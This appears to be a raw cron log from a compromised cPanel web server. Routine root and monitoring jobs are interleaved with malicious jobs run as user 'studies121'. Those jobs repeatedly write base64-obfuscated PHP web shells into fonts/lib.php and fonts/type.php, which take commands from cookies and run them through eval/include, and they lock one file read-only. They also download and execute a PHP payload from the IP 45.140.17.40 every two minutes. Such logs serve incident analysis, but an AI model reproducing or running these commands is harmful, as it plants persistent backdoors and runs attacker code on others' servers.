Sep  4 02:07:01 ip-184-168-122-23 CROND[739]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 02:07:01 ip-184-168-122-23 CROND[737]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 02:08:02 ip-184-168-122-23 CROND[828]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 02:08:02 ip-184-168-122-23 CROND[830]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 02:08:02 ip-184-168-122-23 CROND[832]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 02:08:02 ip-184-168-122-23 CROND[831]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 02:08:02 ip-184-168-122-23 CROND[833]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 02:09:01 ip-184-168-122-23 CROND[936]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 02:09:01 ip-184-168-122-23 CROND[938]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 02:09:01 ip-184-168-122-23 CROND[941]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  4 02:09:01 ip-184-168-122-23 CROND[939]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 02:09:01 ip-184-168-122-23 CROND[940]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 02:10:01 ip-184-168-122-23 CROND[1037]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 02:10:01 ip-184-168-122-23 CROND[1041]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 02:10:01 ip-184-168-122-23 CROND[1042]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 02:10:01 ip-184-168-122-23 CROND[1044]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 02:10:01 ip-184-168-122-23 CROND[1047]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 02:10:01 ip-184-168-122-23 CROND[1049]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 02:10:01 ip-184-168-122-23 CROND[1050]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 02:10:01 ip-184-168-122-23 CROND[1051]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 02:11:01 ip-184-168-122-23 CROND[1141]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 02:11:01 ip-184-168-122-23 CROND[1143]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 02:11:01 ip-184-168-122-23 CROND[1144]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 02:11:01 ip-184-168-122-23 CROND[1145]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 02:12:01 ip-184-168-122-23 CROND[1235]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 02:12:01 ip-184-168-122-23 CROND[1237]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 02:12:01 ip-184-168-122-23 CROND[1238]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 02:12:01 ip-184-168-122-23 CROND[1239]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 02:12:01 ip-184-168-122-23 CROND[1240]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 02:13:01 ip-184-168-122-23 CROND[1464]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 02:13:01 ip-184-168-122-23 CROND[1465]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 02:13:01 ip-184-168-122-23 CROND[1466]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 02:13:01 ip-184-168-122-23 CROND[1468]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 02:14:01 ip-184-168-122-23 CROND[1546]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 02:14:01 ip-184-168-122-23 CROND[1548]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 02:14:01 ip-184-168-122-23 CROND[1549]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 02:14:01 ip-184-168-122-23 CROND[1550]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 02:14:01 ip-184-168-122-23 CROND[1551]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 02:15:01 ip-184-168-122-23 CROND[1652]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 02:15:01 ip-184-168-122-23 CROND[1654]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 02:15:01 ip-184-168-122-23 CROND[1656]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  4 02:15:01 ip-184-168-122-23 CROND[1655]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 02:15:01 ip-184-168-122-23 CROND[1657]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 02:15:01 ip-184-168-122-23 CROND[1658]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 02:15:01 ip-184-168-122-23 CROND[1659]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 02:16:01 ip-184-168-122-23 CROND[1758]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 02:16:01 ip-184-168-122-23 CROND[1760]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 02:16:01 ip-184-168-122-23 CROND[1761]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 02:16:01 ip-184-168-122-23 CROND[1763]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 02:16:01 ip-184-168-122-23 CROND[1764]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 02:16:01 ip-184-168-122-23 CROND[1762]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 02:17:01 ip-184-168-122-23 CROND[1860]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 02:17:01 ip-184-168-122-23 CROND[1862]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 02:17:01 ip-184-168-122-23 CROND[1861]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 02:17:01 ip-184-168-122-23 CROND[1863]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 02:18:01 ip-184-168-122-23 CROND[1946]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 02:18:01 ip-184-168-122-23 CROND[1949]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 02:18:01 ip-184-168-122-23 CROND[1948]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 02:18:01 ip-184-168-122-23 CROND[1947]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 02:18:01 ip-184-168-122-23 CROND[1950]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 02:19:02 ip-184-168-122-23 CROND[2036]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 02:19:02 ip-184-168-122-23 CROND[2034]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
